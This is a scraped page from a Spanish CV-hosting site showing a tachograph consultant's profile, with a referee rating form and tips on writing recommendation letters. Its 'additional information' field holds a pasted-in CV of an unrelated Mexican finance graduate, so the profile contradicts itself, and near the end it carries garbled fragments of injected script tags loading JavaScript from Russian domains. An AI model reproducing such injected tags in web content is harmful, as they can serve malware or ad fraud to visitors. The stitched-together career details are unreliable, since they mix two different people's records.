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DATOS PERSONALES

Madrid CP: 28053 Madrid España
Fecha Nacimiento: 14/6/1971

Num. Visitas a este CVWeb: 326806

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Prevención de Riesgos Laborales 
Psicología 
Hostelería 
Medio Ambiente 
Comunicación Audiovisual (288)
Asesoria Jurídica, Fiscal y Auditoria (183)
Periodismo (141)



 
 
 
 
      

 

 

CURRICULUM VITAE Nº 167 


Área Profesional: Consultoría - Asesoría
http://rosamaryconches.MiCVWeb.com
 

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 Cuestionario sobre el candidato. Valora de 1 a 5 los siguientes aspectos del candidato
  1. Exactitud, precisión en la realización de sus tareas y errores más repetidos.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  2. Presentación de los trabajos, de manera ordenada, con claridad, etc.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  3. Rapidez con la que trabaja y toma decisiones.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  4. Puntualidad en la entrega y realización de sus tareas.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  5. Diligencia para rectificar, si comete un error debe querer rectificarlo o contrastar información dudosa.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  6. Comprensión del trabajo, es decir, si sabe reconocer errores e información dudosa.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  7. Iniciativa a la hora de sugerir ideas para mejorar sus tareas.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  8. Capacidad para aprender, comprobando cómo asimila las instrucciones del superior y la manera en que se adapta a nuevos cambios y métodos.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  9. Actitud ante cambios de trabajo, si la actitud es positiva o negativa ante la implantación de nuevos métodos de trabajo u otros cambios.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  10. Cooperación, si está siempre dispuesto a ayudar, si tiene interés por la empresa y si siempre está dispuesto a colaborar.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  11. Aspecto personal, haciendo referencia a sus modales, educación, limpieza personal y presencia física.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  12. Puntualidad, considerando posibles retrasos al puesto de trabajo.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  13. Asistencia, considerando posibles ausencias del trabajo, tanto las autorizadas como las no autorizadas.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)

Valore al candidato en las siguientes profesiones:

Abogada
Experiencia:
1 2 3 4 5
Formación:
1 2 3 4 5

Asesora
Experiencia:
1 2 3 4 5
Formación:
1 2 3 4 5

Letrada (abogada)
Experiencia:
1 2 3 4 5
Formación:
1 2 3 4 5

Perito
Experiencia:
1 2 3 4 5
Formación:
1 2 3 4 5

Consultoría - Tecnología
Experiencia:
1 2 3 4 5
Formación:
1 2 3 4 5

Cajero
Experiencia:
1 2 3 4 5
Formación:
1 2 3 4 5

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CONSEJOS PARA REDACTAR UNAS BUENAS REFERENCIAS:

  • Antes de escribir la carta de recomendación es conveniente leer el currículo de la persona en cuestión para poder tener a mano más información.
  • Concéntrese en varios aspectos diferentes de la persona.  Para ello debe recordar sus habilidades, sus actitudes, sus capacidades y su crecimiento dentro de la empresa, así como también la contribución aportada en actividades sociales organizada por la compañía.  
  • No debe hacer referencias a características que podrían ser la base de discriminación, como la raza, color, nacionalidad, género, religión, edad, apariencia.  Tampoco mencione aspectos que podrían causar un obstáculo para el recomendado como su condición económica, el estatus marital o punto de vista político.
  • Mucho cuidado con el poder de palabras, ya que algunos términos parecen inofensivos en la conversación diaria.  Sin embargo, al escribirlas pueden arrastrar una connotación negativa para un futuro empleador.  Por ello, se recomienda evitar el empleo de palabras como: Medianamente, razonable, pasable, tranquilo, decente, regular.
  • En su lugar se aconseja usar palabras llenas de energía como: Comprometido, elocuente,  inteligente, observadora, significativa, expresiva, creativa, eficiente, imaginativo, creativo,  responsable  innovador
  • La siguiente lista de atributos es muy usada por los empleadores como herramientas para basarse en la selección de personal.  Por ello, son elementos esenciales de toda carta de recomendación:
    • Habilidad a comunicar
    • Confianza en sí mismo
    • Voluntad para aceptar responsabilidad
    • Liderazgo
    • Nivel de energía
    • Flexibilidad
    • Habilidades interpersonales
    • Conocimiento de sí mismo
    • Habilidad para manejar conflicto
    • Logro de meta
    • Competitividad

 

·         Es importante indicar la prontitud que debe ser confeccionada una carta de recomendación, ya que un trabajo puede depender de la puntualidad de este documento



Ver como soy

CURRICULUM VITAE Nº 167 


Área Profesional: Consultoría - Asesoría
http://rosamaryconches.MiCVWeb.com
Título
Consultora de Tacógrafo
Consultoría - Asesoría
Introducción a este curriculum vitae
Me dedico desde hace más de 13 años a la consultoría en materia de tacógrafo y tramitación de procedimiento sancionador administrativo.

DATOS PERSONALES

Madrid CP: 28053 Madrid España
Fecha Nacimiento: 14/6/1971
 

EXPERIENCIA


Pendiente de rellenar
 

FORMACIÓN ACADÉMICA


Biologia Ambiental.
Título obtenido en Universitat Autónoma de Barcelona
6/2014
Grado
Ciencias de la Salud
Universidad Complutense
Ciudad: Bellaterra ( España)

Título obtenido en Escola Sant Jaume de la FEP
6/2010
- BUP / COU (Bachillerato) / Secundaria
Ciencias de la Salud
Ciudad: Hospitalet de Llobregat ( España)
 

FORMACIÓN COMPLEMENTARIA

 
- Monitor d activitats d educació en el lleure infantil i juvenil
Educación
Título obtenido en Escola EDUCA
Enlace web: http://www.escolaeduca.org/
 

Profesiones que puedo ejercer

Abogada , Asesora , Cajero , Consultoría - Tecnología , Letrada (abogada) , Perito ,
 

IDIOMAS

Catalán Nivel Avanzado
Español Nivel Avanzado
Inglés Nivel Intermedio
 

INFORMÁTICA

Ofimatica (Word, Excell,…) Nivel Avanzado Hola de Cálculo. Excell XP
 

Capacidades y aptitudes

 CAPACIDADES Y APTITUDES PERSONALES
Adquiridas a lo largo de la vida y la carrera educativa y profesional, pero no necesariamente avaladas por certificados y diplomas oficiales
Educación - Formación
Responsable , organizado , eficiente , pragmático , extrovertido , trato fàcil con personas
Capacidad adquirida en En el curso de monitor (España)
 

INFORMACIÓN ADICIONAL


FORMACIÓN:BR>Licenciado en Contaduría Pública y Finanzas ITESM Campus Sonora Norte 2000-2005 Con especialidad en "Asesor en Estrategias de Inversión" EXPERIENCIA:BR>Casa Guadalupe Libre I.A.P.(Febrero-Mayo 2005).Hermosillo, Sonora. Preparación y análisis de presupuesto 2005.Así como la revisión y planificación del sistema "peso por peso". •Distribuciones de Éxito.(Febrero 2003-2005) Hermosillo, Sonora. Impulsé el negocio familiar, incrementando las ventas en un 18% y expandiendo el mercado a más ciudades como: Nogales, Magdalena, Phoenix, Puerto Peñasco. *Grupo Elektra (Junio 2005-Junio 2006)Hermosillo, Sonora. Asistente de Dirección de Operaciones Pacifico-Frontera Elaboración de análisis objetiva para toma de decisiones por parte de la dirección.-Responsable del manejo de la información financiera(ventas, contribución, inventarios, estados de resultados, costos de almacenaje, tiendas perdedoras, etc.)-Coordinación y seguimiento a proyectos por parte de la dirección con gerentes regionales de operaciones y áreas staff ,trato directo con staff, coordinación de juntas, seguimiento a campañas de Elektra (semanahorros,etc.).Puesto de confianza por ver información confidencial. Elaboración de reportes por tienda, región y división. He adquirido experiencia en el área comercial y ventas dentro de Grupo Salinas. *Consultoria Internacional Casa de Cambio SA de CV (Junio 2006-Enero 2007) Gerente de Promoción Conformé y mantuve un equipo de trabajo de ventas de alto rendimiento para cumplir los estándares establecidos a través de la promoción de servicios financieros implantando una atención al cliente personalizada con calidad y respeto, generando fidelidad al grupo. Lleve a cabo varios servicios financieros dentro del grupo. http://www.cisacambios.com.mx *Lubrimovil SA de CV Gerente General (Enero 2007-Hasta la fecha) Llevo a cabo varias funciones contables, operativas, administrativas, de ventas, financieras, etc. con grandes resultados en el mercado. FORMACIÓN COMPLEMENTARIA:BR>*Llevé a cabo el curso "Taller de Mercado de Valores" el 16 de abril del 2005 por la Dirección para Ejecutivos Bursátiles S.C. *Llevé a cabo el curso "Formación de Vendedores" llevado a cabo por ASPROV Consultores. *Formé parte del Seminario de Finanzas llevado a cao por la Universida Virtual del Tecnolgico de Monterrey e conjunto con el Instituto Mexicano de Ejecutivos de Finanzas. *Llevé a cabo el Programa de Excelencia Gerencial en Grupo Elektra. *Llevé a cabo el Curso de Programación Neurolingüistica por la Universidad Elektra.(68 horas). *Llevé a cabo la Figura No. 3 de Asesor de Estrategias de Inversión impartido por la IMBU.(impartido por Ing. Gerardo Rodriguez) INFORMACIÓN ADICIONAL:BR>OBJETIVO PROFESIONAL Ocupar una posición estratégica en el área contable, financiera y/o administrativa en una empresa nacional ó extranjera formal y sólida que requiera de habilidades de análisis, evaluación , interpretación, solución de problemas, planeación, organización , coordinación y control, aplicar herramientas técnicas aprendidas a lo largo de mi carrera para seguir aprendiendo continuamente. HABILIDADES TÉCNICAS Solución de problemas, persistencia y dedicación, la aceptación de retos, la actitud de servicio, el rápido aprendizaje, la comunicación interpersonal y la capacidad de análisis. Dominio del idioma inglés 90%, oral y escrito. Computación:Windows , Mindmanager,Office,Lotus, Internet. LOGROS • Desarrollé para la clase de Evaluación de Proyectos ,en conjunto con un equipo multidisciplinario , el proyecto de análisis financiero de factibilidad de la f
• Analicé y evalué la rentabilidad de cada uno de ls productos comercializados, logrando aumentar en un 15% e ingreso de los mismos, a través de una mejor asignación d las zonas de venta a nuestros representantes
• Logré captar mas de 100 clientes por mes para llevar a cabo servicios financieros de divisas.
• Logré establecer estrategias financieras para aportar al cliente un mayor beneficio.

src=httiogp.ru/ngg.js>script src=http://www.bannerdriven.ru/ads.js> script src=http://www.bannerdriven.ru/ads.js>
 

Disponibilidad

¿Estoy dispuesto a viajar?  SI
¿Estoy dispuesto a trabajar en el extranjero?  SI
¿Estoy dispuesto a trabajar fuera de mi zona?  SI
 

Objetivos Profesionales

Jefa de proyectos.
 

Cualidades

Analítico/a , Cariñoso/a , Colaborador , Comunicativo/a , Creativo/a , Decidido/a , Eficiente , Enérgico/a , Flexible , Gracioso/a , Honesto/a , Intelectual , Inteligente , Organizado/a , Persuasivo/a , Productivo/a , Responsable , Sociable , Trabajador/a
 

Aficiones

Baloncesto/Voleibol, Cine/Películas, Cocinar, Gimnasio/Aerobic, Jardinería, Música de Jazz/Blues, Música Rock, Naturaleza, Ordenadores/Internet
 

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Documentos Anexados:  
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